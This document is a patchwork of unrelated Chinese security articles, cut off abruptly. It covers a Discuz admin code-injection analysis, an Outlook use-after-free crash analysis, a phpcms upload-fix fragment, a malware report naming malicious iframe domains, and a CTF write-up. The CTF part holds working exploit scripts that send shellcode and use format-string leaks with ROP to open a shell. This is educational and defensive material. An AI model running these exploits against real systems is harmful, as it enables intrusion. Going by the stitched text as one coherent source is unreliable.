cpmsg('action_noaccess', '', 'error');
}
} else {
cpheader();
cpmsg('action_noaccess', '', 'error');
}
关键点在构造参数满足require $admincp->admincpfile($action);且$action为db。也就说需要构造参数满足：
$admincp->isfounder && in_array($action, $admincp_actions_founder) # 为真
$admincp->allow($action, $operation, $do) # 为真
$admincp->isfounder是确认当前用户的，返回为True，这里只需要构造$action为db。
跟进require $admincp->admincpfile($action);：
function admincpfile($action) {
return './source/admincp/admincp_'.$action.'.php';
}
这里就包含了source/admincp/admincp_db.php。跟进看一下：
这边需要满足$operation == ‘export’，同时存在exportsubmit字段。
之后，
需要构造file字段，同时$_GET[‘type’] ==
‘custom’且$_GET[‘setup’]和$_GET[‘customtables’]非空。向下跟，还需要满足最后一个条件$_GET[‘method’]
!= ‘multivol’，这样才能调用else中的操作，完成代码注入。
有了上面的这些基础分析，我们抓个符合上方条件的包来看一下。经过测试，
这样可以抓到符合我们条件的请求包。
接下来只需要将customtables的内容更改一下就可以造成命令执行了：
效果为：
## 0x04 参数获取问题
通过上面的分析可以看到最终可控参数的获取都是利用$_GET来获取的，但是我们在构造时发送的是post数据，那么为什么会照常获取到呢？
在admin.php第18行包含了source/class/class_core.php：跟进看一下：
...
C::creatapp();
class core
{
...
public static function creatapp() {
if(!is_object(self::$_app)) {
self::$_app = discuz_application::instance();
}
return self::$_app;
}
...
}
跟进到source/class/discuz/discuz_application.php中：
public function __construct() {
$this->_init_env();
$this->_init_config();
$this->_init_input();
$this->_init_output();
}
接着跟进到_init_input()中：
...
if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST)) {
$_GET = array_merge($_GET, $_POST);
}
...
可以看到如果构造了post请求，Discuz的核心类会将$_GET和$_POST这两个list拼接到一起，赋给$_GET数组。
## 0x05 修复方法
可以利用addslashes()对可控点进行限制，同时利用escapeshellarg()函数来限制$tablesstr执行命令。
## 0x06 Discuz 3.4的做法
Discuz 3.4非常有趣的一点不是把这个漏洞修了，而是直接在source/admincp/admincp_db.php第307行写了一个错误…：
list(, $mysql_base) = DB::fetch($query, DB::$drivertype == 'mysqli' ? MYSQLI_NUM : MYSQL_NUM);
调用了一个未声明的静态变量，所以该功能直接是挂掉的，没有办法使用，可谓是简单粗暴…
## 0x07 参考资料
FoolMitAh/CVE-2018-14729
[1] https://github.com/FoolMitAh/CVE-2018-14729 | 社区文章 |
# Microsoft Outlook UAF漏洞分析——CVE-2019-1199
|
##### 译文声明
本文是翻译文章，文章原作者 lares，文章来源：lares.com
原文地址：<https://www.lares.com/use-after-free-uaf-vulnerability-cve-2019-1199-in-microsoft-outlook/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
[R.J.
Lares®](https://www.lares.com/)研发团队的[McDown](https://www.lares.com/about/lares-team/rj-mcdown/)([@BeetleChunks](https://github.com/BeetleChunks
"@BeetleChunks"))在最新版本的[Microsoft Outlook](https://products.office.com/en-us/outlook/email-and-calendar-software-microsoft-outlook)中发现了一个关键的[远程代码执行漏洞](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1199)。目前R.J. Lares
R＆D团队已经向微软提交了报告，详细说明了这个问题。该漏洞被命名为[CVE-2019-1199](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1199)，现已针对在Windows 10企业版1809(OS Build
17763.379)上运行的Microsoft Outlook Slow Ring Build版本1902(OS Build
11328.20146)进行了验证。
该漏洞是使用自定义的fuzzer发现的，该fuzz是为了测试使用压缩RTF数据的邮件消息的特定段创建的。经过几次迭代后，团队成员注意到由于对内存中的对象处理不当而导致的几次崩溃。在分析后，证实了这些崩溃是[UAF](https://www.webopedia.com/TERM/U/use-after-free.html)导致的。触发漏洞只需很少的用户交互，因为只要导出Outlook预览窗格就足以触发漏洞，从而导致Outlook立即崩溃。以下GIF描述了成功触发的过程。
## 发现
Outlook支持的消息格式之一[`.MSG格式`](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-%E7%9A%84OLED/85583d21-c1cf-4afe-A35F-d6701c5fbb6f)符合Microsoft对象(Object)链接(Linking)和嵌入(Embedding)数据结构标准格式(OLE)。OLE结构类似于FAT文件系统，可以很容易使用[OffVis](https://go.microsoft.com/fwlink/?LinkId=158791)来探索。
在探索`MSG`格式并查询`MS-OLEDS`文档之后，我们把文件格式中的几个结构确定为模糊测试的最佳候选。使用Python脚本生成测试用例，该脚本利用[OLEFILE](https://github.com/decalage2/olefile)库读取模板MSG文件，提取特定属性，通过自定义Radamsa
Python 包装器运行数据，然后将fuzz测试用例写入磁盘。以下代码段显示了负责创建每个测试用例的函数(fuzz_message_part)。
上面的代码片段在“props_to_fuzz”中提供了一个消息属性列表，然后传递给“fuzz_message_part()”函数。在该函数中，属性将被解析为MSG模板中的位置。然后从这些位置提取数据并通过[Radamsa](https://gitlab.com/akihe/radamsa)运行以创建新的测试用例。“resolve_property_name()”函数只是将属性类型与将在目标属性上匹配的正则表达式相关联。这显示在以下代码段中。
虽然Radamsa本身就是一个测试用例生成器，但根据我们的经验，使用更有针对性的模糊测试方法可以减少所耗费的时间。
然后将测试用例生成器集成到SkyLined的[BugID](https://github.com/SkyLined/BugId)中，并创建了一个自定义通知系统，该系统将所有新的崩溃数据和分类报告给团队的Slack通道。在完成模糊测试框架的创建之后，团队发现仅在几次迭代后发生了崩溃。
## 崩溃原因分析
在观察到一些有趣的崩溃之后，团队成员使用WinDbg作为主要调试器来开始进行崩溃原因分析。WinDbg附加到Outlook，并在Outlook中打开测试用例，立即导致了内存访问违例。
在选择测试用例后，Outlook预览窗格调用了消息体的解析，导致以下异常(Image Base(基地址)：7ff7c0d00000)：
outlook!StdCoCreateInstance+0x82c0:
7ff7c0e3c100 -> 7ff7c0e3cc24
outlook+0x80850:
7ff7c0d80850 -> 7ff7c0d80e85
outlook+0x81ce0:
7ff7c0d81ce0 -> 7ff7c139a2ab
outlook!HrShowPubCalWizard+0x101b0c:
7ff7c1afe05c -> 7ff7c1afe0d1
outlook!HrShowPubCalWizard+0x101198:
7ff7c1afd6e8 -> 7ff7c1afd7af
outlook!FOutlookIsBooting+0x4620:
7ff7c0e41920 -> 7ff7c0e41b04
outlook!FOutlookIsResuming+0x38200:
7ff7c1021f00 -> 7ff7c1021f68
outlook!FOutlookIsResuming+0x1f6a0:
7ff7c10093a0 -> 7ff7c100942c
outlook+0xafb04:
7ff7c0dafb04 -> 7ff7c0dafb16
outlook!HrGetOABURL+0x77938:
7ff7c1110598 -> 7ff7c1110613 VCRUNTIME140!_CxxThrowException
接下来，在“outlook！StdCoCreateInstance +
0x82c0：7ff7c0e3c100”上设置断点，并继续执行Outlook。在Outlook运行时，Outlook
GUI中的另一个组件(例如电子邮件，文件夹，按钮等)被选中。执行此操作后，尝试执行引用未映射内存的地址时发生另一个应用程序异常。
outlook!StdCoCreateInstance+0x82c0:
7ff7c0e3c100
outlook+0x80850:
7ff7c0d80850
outlook+0x81ce0:
7ff7c0d81ce0
outlook+0x7419e:
7ff7c0d7419e -> crash occurs (test byte ptr [rcx],1 ds:0000020b`00a76ffc=??)
WinDbg的堆函数用于分析第二个异常时指令指针指向的地址。这表明应用程序在尝试引用处于释放状态的堆块中的数据时崩溃。进一步分析后，证实了的确存在UAF。
0:000> !heap -p -a 20b00a76ffc
address 0000020b00a76ffc found in
_DPH_HEAP_ROOT @ 20b17571000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
20b0003c820: 20b00a76000 2000
00007ff9e51b7608 ntdll!RtlDebugFreeHeap+0x000000000000003c
00007ff9e515dd5e ntdll!RtlpFreeHeap+0x000000000009975e
00007ff9e50c286e ntdll!RtlFreeHeap+0x00000000000003ee
00007ff9ad247f23 mso20win32client!Ordinal668+0x0000000000000363
00007ff9ad1a2905 mso20win32client!Ordinal1110+0x0000000000000065
00007ff7c0d74a55 outlook+0x0000000000074a55
00007ff7c0d7449f outlook+0x000000000007449f
00007ff7c0dbe227 outlook+0x00000000000be227
00007ff7c0dbcdaf outlook+0x00000000000bcdaf
00007ff7c0dbb9e0 outlook+0x00000000000bb9e0
00007ff7c12db320 outlook!HrGetCacheSetupProgressObject+0x0000000000008740
00007ff7c0da75e7 outlook+0x00000000000a75e7
00007ff7c0da7373 outlook+0x00000000000a7373
00007ff7c0eaae24 outlook!RefreshOutlookETWLoggingState+0x0000000000023694
00007ff7c0eaa525 outlook!RefreshOutlookETWLoggingState+0x0000000000022d95
00007ff7c0d6d946 outlook+0x000000000006d946
00007ff7c0d6d2d4 outlook+0x000000000006d2d4
00007ff9e2d5ca66 USER32!UserCallWinProcCheckWow+0x0000000000000266
00007ff9e2d5c34b USER32!CallWindowProcW+0x000000000000008b
00007ff9d55ab0da Comctl32!CallNextSubclassProc+0x000000000000009a
00007ff9d55aade8 Comctl32!TTSubclassProc+0x00000000000000b8
00007ff9d55ab0da Comctl32!CallNextSubclassProc+0x000000000000009a
00007ff9d55aaef2 Comctl32!MasterSubclassProc+0x00000000000000a2
00007ff9e2d5ca66 USER32!UserCallWinProcCheckWow+0x0000000000000266
00007ff9e2d5c582 USER32!DispatchMessageWorker+0x00000000000001b2
00007ff7c0dd9a10 outlook+0x00000000000d9a10
00007ff7c1051b85 outlook!IsOutlookOutsideWinMain+0x0000000000005545
00007ff7c0f104e7 outlook!HrBgScheduleRepairApp+0x000000000004a4d7
00007ff7c105b646 outlook!OlkGetResourceHandle+0x00000000000045d6
00007ff9e4b981f4 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007ff9e511a251 ntdll!RtlUserThreadStart+0x0000000000000021
## 总结
利用此漏洞需要用户使用受影响的Microsoft
Outlook软件版本打开特制文件。在电子邮件攻击情形中，攻击者可以通过将特制文件发送给用户并诱导用户打开该文件来利用此漏洞。在基于Web的攻击情形中，攻击者可以托管网站(或利用一个可接受托管用户提供内容的受感染网站)，在其中包含利用此漏洞的特制文件。攻击者无法强迫用户访问该网站。相反，攻击者必须说服用户点击链接，通常是通过电子邮件或即时消息中的诱导，然后诱使他们打开特制文件。
Microsoft在2019年8月的更新中附带了此漏洞的[补丁](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1199)，你可能需要尽快更新你的系统。 | 社区文章 |
很简单，在download函数中我们可以看到，`$remotefileurls``数组，中，$k是未经过滤去除#.jps的恶意url，而$file是经过过滤处理的恶意url。并且保存的后缀，将会使用$file参数，也就是.php。由此我们可以写出一个临时的防护方案，将保存的文件后缀，使用未经过滤的url参数。这样，将不会受到过滤函数的影响，
修改 phpcms/libs/classes/attachement.class.php 文件中的download函数
在
foreach($remotefileurls as $k=>$file)
循环中，大约是167行左右的位置，将
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
修改成
$filename = fileext($k);
我们再使用poc测试一下
如图
图中的两个jpg文件，就是我测试的结果。这样就可以防御住任意文件上传攻击了。
正在写具体分析，所以呢大家等一下吧 | 社区文章 |
# 【木马分析】XcodeGhost或重出江湖，Google Play大量APP被植入恶意代码
|
##### 译文声明
本文是翻译文章，文章来源：paloaltonetworks.com
原文地址：<http://researchcenter.paloaltonetworks.com/2017/03/unit42-google-play-apps-infected-malicious-iframes/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**一、前言**
最近，我们发现Google
Play应用商店上有132款安卓应用感染了隐藏的小型恶意IFrame，这些IFrame会在应用的本地HTML页面中嵌入到恶意域名的链接，这些被感染的应用最多有超过10,000频次的安装记录。我们的调查表明，此次感染并不能归咎于应用开发人员，他们其实也是受害者，我们认为最有可能的原因应该是应用开发者的开发平台感染了恶意软件，恶意软件会搜寻应用内的HTML页面，在找到的页面末尾插入恶意内容。如果事实的确如此，那么还需要了解这些应用是如何在不引起开发者警觉的前提下经由已感染的开发者平台开发而成。我们已将调查结果提交给Google安全团队，所有受感染的应用已经从Google
Play中移除。
图1. Google Play上部分受感染应用
如上图所示，我们观察到受感染的应用程序使用场景涉及芝士蛋糕、园艺以及咖啡桌的设计。这些应用的共同点是它们都使用[Android
WebView](https://developer.android.com/reference/android/webkit/WebView.html)来显示静态HTML页面。从表面上看，每个HTML页面作用只是加载本地存储的图片及显示硬编码的文本信息，然而经过深度分析，我们可以发现HTML页面中包含一个链接到恶意域名的隐藏的小型IFrame。虽然在调查过程中，这些域名已经停止对外服务，但Google
Play上有这么多应用受到影响还是应该引起我们的重视。
调查结果中更应该引起重视的一点是，某个被感染的页面会试图在加载网页时下载并安装Windows可执行文件，但由于手机运行系统不兼容，使得此类攻击无法奏效。这种行为与Google
Android安全报告中最近提及的[非Andorid威胁](https://static.googleusercontent.com/media/source.android.com/en/security/reports/Google_Android_Security_PHA_classifications.pdf)类别非常契合，非Android威胁指的是应用无法直接对用户或Android设备造成危害，但可能对其他平台造成潜在危害。
**二、感染机制分析**
所有受感染的应用目前只需要请求INTERNET权限，同时使用两个activity，一个用来加载插页式广告，另一个用来加载主程序，后者包含一个Android
WebView组件，显示一个本地HTML页面（如图2所示）。WebView组件启用了JavaScriptInterface功能，我们分析的样本中没有使用该功能，但这个接口的存在使得页面可以通过加载JavaScript代码来访问应用的原生功能。
图2. 受感染应用的界面及内部代码示例
每个HTML页面仅用来显示图片及文本信息，但在每个HTML页面末尾都嵌入了一个小型的隐蔽性IFrame组件。我们观察到了两种对该IFrame进行隐藏的技术，一种是将IFrame的高度和宽度都设为1像素，另一种是将IFrame的display属性设为None。最后，为了规避基于简单文本匹配的检测技术，恶意URL源通过使用HTML编码进行了混淆处理。在图3的示例中，浏览器会对以下混淆编码进行自动转换处理：
‘.’ → ‘.’
‘i’ → ‘i’
‘u’ → ‘u’
图3. 受感染样本中对IFrame进行隐藏的两种技术
最后，所有的IFrame代码都会收敛到以下两个域名：
www.Brenz.pl/rc/
jL.chura.pl/rc/
波兰CERT（cert.pl）于2013年接管了这两个域名并将其直接部署到污水渠服务器（sinkhole
server），以避免后续有用户受到攻击影响（如图4所示）。因此，这两个域名在我们调查时已经不再为恶意软件提供托管服务，但它们的黑历史可是臭名昭著[见参考链接1~5]。
图4. 两个恶意域名已指向污水渠服务器
在我们调查中，我们还定位了一个不包含恶意IFrame的样本，但其HTML中却嵌入了一个完整的VBScript脚本（如图5所示）。脚本包含一段Base64编码的Windows可执行文件，在Windows系统上，脚本会对该文件进行解码，写入到文件系统中并加以执行。由于VBScript是Windows专有的脚本语言，该页面无法在Android平台上开展恶意行为，因此无法对Android用户造成危害。这段代码首先会被附加到<HTML>标签外部，构成一个格式错误的HTML页面，但这并不影响浏览器对它进行渲染。浏览器总是尽量去渲染收到的任何代码，无论其错误与否，以便给普通用户提供一个良好的显示页面。
我们从脚本下载到的PE文件中探测到了多种恶意行为，其中包括：
1、修改系统hosts文件
2、修改Windows防火墙设置
3、向其他进程中注入代码
4、恶意文件自我复制
图5. 受感染样本试图下载一个Windows可执行文件
**三、感染来源**
我们发现的132个应用属于7个不同的开发者。这7个开发者之间存在着地理位置的联系：都与印度尼西亚有关。最直接的一个线索就来自于应用名。很多样本的应用名中都包含“印度尼西亚”关键词，此外，其中一个开发者页面链接到一个个人博客，博客使用的是印尼语。而最清晰的线索来自于证书信息，其中某个开发者证书明确指出了国别为印度尼西亚。
图6. 受感染样本与印度尼西亚的关系
HTML文件被恶意IFrame感染的一种途径是通过病毒的文件感染，比如之前的Ramnit病毒。感染Windows主机后，这些病毒会查找硬盘上的HTML文档，将IFrame嵌入到每个HTML文档中。如果某个开发者感染了这类病毒，他们应用的HTML文件就可能被感染。鉴于开发者可能都来自于印度尼西亚，也有可能他们从同一个网站中下载了被感染的IDE环境，或者他们使用了同样一款在线应用程序生成平台。
不管是哪一种情况，我们相信开发者在此次攻击中充当的是受害者角色。我们调查中有其他证据可以支撑这一论点：
1、所有样本中的代码结构有些类似，表明它们可能源自于相同的平台；
2、两个恶意域名都已被指向污水渠服务器，如果开发者就是这些攻击背后的始作俑者，他们应该早就将其替换为可用域名，以获得攻击效果。
3、某个被感染样本试图下载Windows可执行文件，表明攻击者不知道目标平台环境，这显然不是应用开发人员会犯的错误。
**四、潜在的安全风险及应对办法**
目前，受感染的应用不会对Andorid用户造成损害。然而，本次攻击的确反应了开发平台可以作为恶意软件的“载体”，可以在不引起警觉的前提下将恶意软件散播到其他平台中。与此类似的是我们在2015年发现的XcodeGhost攻击事件，该事件向我们展示了恶意软件如何通过攻击开发者而最终影响终端用户。
从此次事件中我们很容易想象一种更为成功的攻击方式：攻击者可以将当前恶意域名替换为广告URL链接，以获得不菲收入。这种攻击不仅可以窃取开发者的收入，也可以损害开发者的信誉。其次，攻击者可以在远程服务器上部署恶意脚本，利用JavaScriptInterface功能访问受感染应用程序的原生功能。通过这种攻击方法，攻击者可以获取并控制应用内部的所有资源。攻击者也可以悄无声息地替换开发者指定的服务器，拦截所有发往开发者的流量。高级攻击者也可以直接修改应用的内部逻辑，比如添加root功能、请求额外权限、或者下载恶意APK文件等。
用户可以使用Palo
Alto的WildFire安全解决方案来自动免疫此次攻击，WildFire内部的APK分析引擎也可以对隐藏型IFrame及相应的域名进行安全分析检测。
**五、致谢**
感谢来自于Palo Alto网络的Zhi Xu及Claud Xiao在调查过程中提供的帮助支持，同时感谢Google安全团队对受感染应用采取的快速响应措施。
**六、附录**
恶意域名：
www.Brenz.pl/rc/
jL.chura.pl/rc/
受感染样本的哈希及包名：
c6e27882060463c287d1a184f8bc0e3201d5d58719ef13d9ab4a22a89400cf61, com.aaronbalderapps.awesome3dstreetart
a49ac5a97a7bac7d437eed9edcf52a72212673a6c8dc7621be22c332a1a41268, com.aaronbalderapps.awesomecheesecakeideas
1d5878dce6d39d59d36645e806278396505348bddf602a8e3b1f74b0ce2bfbe8, com.aaronbalderapps.babyroomdesignideas
db95c87da09bdedb13430f28983b98038f190bfc0cb40f4076d8ee1c2d14dae6, com.aaronbalderapps.backyardwoodprojects
28b16258244a23c82eff82ab0950578ebeb3a4947497b61e3b073b0f5f5e40ed, com.aaronbalderapps.bathroominteriordesigns
b330de625777726fc1d70bbd5667e4ce6eae124bde00b50577d6539bca9d4ae5, com.aaronbalderapps.beautifulbotanicalgardens
d6289fa1384fab121e730b1dce671f404950e4f930d636ae66ded0d8eb751678, com.aaronbalderapps.bedroomdesign5d
**七、参考链接**
[1] <https://blog.sucuri.net/2011/03/brenz-pl-is-back-with-malicious-iframes.html>
[2] <http://thehackernews.com/2016/04/home-security-system.html>
[3] <http://www.webhostingtalk.com/showthread.php?t=1010284>
[4] <https://www.computerforum.com/threads/virus-blocked-jl-chura-pl-rc.147256/>
[5] <https://forum.avast.com/index.php?topic=44657.0> | 社区文章 |
## web
### 谁吃了我的flag
给了提示 vim ，于是想到 .swp 备份文件
访问：
http://118.25.111.31:10086/.index.html.swp
下载到备份文件后，直接用 notepad++ 打开，划到最后就可以看到 flag
也可以用 vim 命令恢复出源文件再提交 flag
vim -r .index.html.swp
### 换头大作战
根据题目名字猜想可能是该写 HTTP 头来绕过一些限制或者满足一些条件。
1. 第一步要求用 POST 方法提交
1. 第二步是改 XXF 头，这里用 bp 改了，127.0.0.1
1. 第三步改 UA，这里需要多试几次
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Waterfox/50.0
1. 第四步 the requests should referer from www.bilibili.com
即加上 Referer 字段，值为 www.bilibili.com
* 注意这里不需要 http/https
* 最后一步伪造 cookie，admin = 1 即可
* * *
### very easy web
简单的代码审计题目
<?php
error_reporting(0);
include("flag.php");
if(strpos("vidar",$_GET['id'])!==FALSE)
die("<p>干巴爹</p>");
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
echo $flag;
}
highlight_file(__FILE__);
?>
仔细看题目，没有办法直接从 strpos 函数的使用不当下手
参考：<https://www.freebuf.com/column/182124.html>
也没有办法从弱类型下手，因为这里是 !==、=== ，而不是 !=、==
看到后面有一个 urldecode 函数，所以构造下 "vidar" 的 url 编码
http://120.78.184.111:8080/week1/very_ez/index.php?id=%76%69%64%61%72
但是会发现没用的， **原因是在你输入的时候，浏览器帮你的 url 先解码了一遍** 。所以后面的 urldecode 函数就没用上，所以这里需要二次
urlencode。
http://120.78.184.111:8080/week1/very_ez/index.php?=%25%37%36%25%36%39%25%36%34%25%36%31%25%37%32
### can u find me?
右键源代码发现 f12.php，访问提示需要 POST 一个 password 字段
在返回包头里有 password 的值，给他提交上
提交后访问 iamflag.php 得到 flag
## pwn
### babysc
checksec 查看保护，保护全无，可以直接往栈上填充数据
这题没办法用 IDA 直接 f5 ，只能在 IDA 或者 gdb 动态调试一步步跟
程序大概的逻辑是先调用 read 函数接受 0x50 的输入，再 **将输入的逐个字节与1、2、3...进行异或** 。
最后会调用 call rdx，rdx 的位置来自 buf ，rax 作为指针在 buf 中赋值 [rbp+rax+buf]，
**所以这里就需要我们输入填充异或后的 shellcode 到 buf 中**
在这里找一个 shellcode 的十六进制编码
<http://shell-storm.org/shellcode/files/shellcode-866.php?tdsourcetag=s_pctim_aiomsg>
用脚本对 shellcode 进行逐个异或，然后 send 即可
from pwn import *
#p = process('babysc')
p = remote('118.24.3.214',10000)
a = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
b = ""
for i in range(1,len(a)+1):
b+=chr(i^ord(a[i-1]))
pause()
p.sendline(b)
p.interactive()
### aaaaaaaaaa
丢 IDA，在 main 函数中 f5，逻辑很简单：
需要你只能输入 a ，只要你输入的 a 的数量大于 99，就 break 出 while 循环，执行到后面的 system 函数。
本地测试直接 getshell，远程也是一样的， nc 连上 getshell
### 薯片拯救世界1
IDA 打开 main 函数，程序的逻辑很简单，先打开服务器下的 flag ，输出内容到 buf 缓冲区中，接着接受输入，如果输入的和 buf
的内容相等就会输出正确的信息。
问题出在 strlen 和 strncmp 函数的配合使用，因为 strlen 函数是以 \x00 截断的，如果我们手动输入的字符串后面加上 \x00
的话，就会满足 strncmp 函数的判断
* **例如，这里我们填入 "hg\x00"，strlen 就会但会 2，strncmp 的第三个参数为 2，比较的是 "hg" 和 flag 的前两个字符串，就会满足判断。**
所以我们可以一步步的爆破出 flag。注意在爆破成功一位出来时，需要重新连接远程服务器
#### 利用脚本
脚本写的还是存在一些问题，但是可以出结果就行了。最后手动加上 "}"
from pwn import *
def init():
p = remote('118.24.3.214',10001)
for i in range(10):
p.sendline('1')
if '......' in p.recvline():
break
p.recvline()
p.recvline()
return p
flaggggggg = "hga"
for x in range(33):
p = init()
for i in range(10,255):
p.send(flaggggggg + chr(i) +'\x00')
res = p.recvline()
info(res)
if '......' not in res:
success(chr(i))
flaggggggg += chr(i)
success('flag is : %s'%flaggggggg)
break
p.recvline()
p.interactive()
hgame{Ch1p_1s_Awakking!}
### Steins;Gate
这题利用起来还是挺麻烦的。checksec 检查有 canary 保护。
IDA 打开 main 函数，发现有五个函数，第二个和第五个一样
并且在左边的函数列表中发现有 system 函数。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_400AF1();
sub_400A91(sub_4008F6);
sub_400A91(sub_400958);
sub_400A91(sub_400A00);
sub_400A91(sub_4008F6);
return 0LL;
}
第一个函数中初始化操作，读取一个随机数，接受一个输入到 bss 段，这里我们先填入 "/bin/sh"， **方便后面调用 system 函数**
1. 第二个函数是一个栈溢出，只要满足 v2 = 0x33就行
直接构造
'a' * 0x30 + '\x33\x23'
1. 第三个函数是一个格式化字符串和栈溢出，我们通过格式化读取出 v0 的值，再通过计算溢出覆盖 v4 的指
gdb 本地调试可以看到 v0 的值就在输入的格式化字符串的边上，也就是输入 "%7$p"（ **64 位的程序是从 7 偏移开始才能读出栈的数据的**
，不注意的话这是个坑点）
1. 第四个函数只有格式化字符串，而且要满足 v1 = 0x6666， **这里的格式化字符串其实是让你读取 canary 的，v1 的值只能通过上一个函数的溢出来修改**
f"*0x1c + p32(0x6666) + "f" * 0x10 +p32(v4)
1. 泄露出 canary 之后，最后一步函数溢出的再结合 rop 就可以调用 system 函数来 getshell
最后的利用脚本：
from pwn import *
#context.log_level = "debug"
p = remote('118.24.3.214', 10002)
p.recvuntil("ID:")
d = 0x602040
p.sendline("/bin/sh\x00")
p.recvuntil("world.\n")
payload = "f"*0x30
payload += "\x33\x23"
p.send(payload)
p.recvuntil("man.\n")
p.send("%7$p")
i = int(p.recv(numb=10),16) + 0x1234
p.recvuntil("it?\n")
p.send("f"*0x1c + p32(0x6666) + "f" * 0x10 +p32(i))
p.recvuntil("debts.\n")
p.send("%11$p")
canary = int(p.recv(numb=18),16)
success("canary ===> " + hex(canary))
p.recvuntil("world.\n")
payload = 0x30 * "a"
payload += "\x33\x23"
payload = payload.ljust(0x38,"\x00")
payload += p64(canary)
payload += p64(0x00)
payload += p64(0x400c73)
payload += p64(d)
payload += p64(0x400A89)
p.send(payload)
p.interactive()
## MISC
### Hidden Image in LSB
直接把图片放到 stegslove 里，向右多点几次就出来
hgame{LSB_is_easy_for_u}
### 打字机
提示给了谷歌识图，那么就识图一波，发现这是一个漫画中出现的打字机。
然而这个图片出给的只有大写以及数字的对应关系， **没有小写字母对应的关系，导致 flag.png 中的一些字符无法一一对应**
最后在这里找到了对应关系，相当于是把小写字母的对应关系破译出来了。
<https://www.bilibili.com/read/cv142910/>
小写字母的映射表：
最后把三个图对应起来得到 flag
hgame{My_vi0let_tyPewRiter}
### Broken Chest
zip 文件修复，用 winhex 打开，把开头的 4F 改成 50
打开时候，发现了 zip 文件的注释 "S0mETh1ng_U5efuL"，这个也就是压缩包的密码
输入密码打开文件，得到 flag
### Try
用 wireshark 打开数据包， **过滤出 HTTP 报文** ，发现有两个文件可以提取出来。一个是 png，另外一个 zip
在相应的返回包上右键 -> 导出分组字节流
导出之后，发现图片没什么用，但是 zip 包还可以提取
解压后的 password.txt 文件打开之后，后面的字符用 * 号打码了，于是想到了掩码爆破（ **直觉猜测应该都是数字** ）
使用 **Ziperello** 打开压缩包文件 open-it.zip
破解模式选择基于模块的破解（也就是掩码爆破），按照左边的密码模板填完后，下一步
很快就会破解出来压缩包的密码
用破解出来用密码解压出压缩包， **发现下面有张图片**
放到 winhex 中，发现图片里面还有一个 docx 文件。
**用 foremost 提取出来是个压缩包** ，解压发现需要密码，尝试伪加密的解密（在 winhex 中直接改控制位就行了）
成功解密出来 docx 文件。
打开发现是空白，然后在 word 中把显示隐藏文字的选项打开，就可以看到 flag
## CRYPTO
### Mix
首先摩斯密码解密：
<http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx>
解码出来发现是十六进制，在这里继续解码
<https://wishingstarmoye.com/tools/ascii>
观察特征，拿到这样的字符串 **一般就是凯撒和栅栏的混合加密** 。
这里面没有 hgame 这几个字符，所以需要先用凯撒转换一下。
<https://wishingstarmoye.com/ctf/caesar>
找到有 hgame 字符的字符串，如下
使用栅栏解密，2 个一栏就可以解除 flag
hgame{E4sY_cRypt0}
### base 全家
三次 base64 解码，三次 base16（相当于十六进制的 ascii 码转字符），base32 两次即可解出。（字符串太长了就不贴出来了。。。）
## RE
### HelloRe
IDA 进去 main 函数直接 f5 就可以看到 flag，不多说。
### r & xor
IDA 打开程序，在 v31 到 v35 处按下 r 会出现字符串，但是这个 flag 提交显然不对，因为后面有这个字符串异或的操作
s[i] != (v6[i] ^ *(&v31 + i))
也就是将 fake flag 与一系列的变量异或，得到的就是 flag
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
__int64 v4; // rsi@9
signed int i; // [sp+8h] [bp-138h]@3
int v6[6]; // [sp+10h] [bp-130h]@1
int v7; // [sp+28h] [bp-118h]@1
int v8; // [sp+30h] [bp-110h]@1
int v9; // [sp+38h] [bp-108h]@1
int v10; // [sp+3Ch] [bp-104h]@1
int v11; // [sp+40h] [bp-100h]@1
int v12; // [sp+44h] [bp-FCh]@1
int v13; // [sp+48h] [bp-F8h]@1
int v14; // [sp+4Ch] [bp-F4h]@1
int v15; // [sp+50h] [bp-F0h]@1
int v16; // [sp+54h] [bp-ECh]@1
int v17; // [sp+5Ch] [bp-E4h]@1
int v18; // [sp+60h] [bp-E0h]@1
int v19; // [sp+64h] [bp-DCh]@1
int v20; // [sp+68h] [bp-D8h]@1
int v21; // [sp+6Ch] [bp-D4h]@1
int v22; // [sp+70h] [bp-D0h]@1
int v23; // [sp+74h] [bp-CCh]@1
int v24; // [sp+78h] [bp-C8h]@1
int v25; // [sp+80h] [bp-C0h]@1
int v26; // [sp+84h] [bp-BCh]@1
int v27; // [sp+88h] [bp-B8h]@1
int v28; // [sp+8Ch] [bp-B4h]@1
int v29; // [sp+90h] [bp-B0h]@1
int v30; // [sp+94h] [bp-ACh]@1
__int64 v31; // [sp+A0h] [bp-A0h]@1
__int64 v32; // [sp+A8h] [bp-98h]@1
__int64 v33; // [sp+B0h] [bp-90h]@1
__int64 v34; // [sp+B8h] [bp-88h]@1
int v35; // [sp+C0h] [bp-80h]@1
char s[104]; // [sp+D0h] [bp-70h]@1
__int64 v37; // [sp+138h] [bp-8h]@1
v37 = *MK_FP(__FS__, 40LL);
v31 = '0Y{emagh';
v32 = '_3byam_u';
v33 = '1ht_deen';
v34 = '!!!en0_s';
v35 = '}!!';
memset(v6, 0, 0x90uLL); //应该是 memset(v6, 0, 6);
v7 = 1;
v8 = 7;
v9 = 92;
v10 = 18;
v11 = 38;
v12 = 11;
v13 = 93;
v14 = 43;
v15 = 11;
v16 = 23;
v17 = 23;
v18 = 43;
v19 = 69;
v20 = 6;
v21 = 86;
v22 = 44;
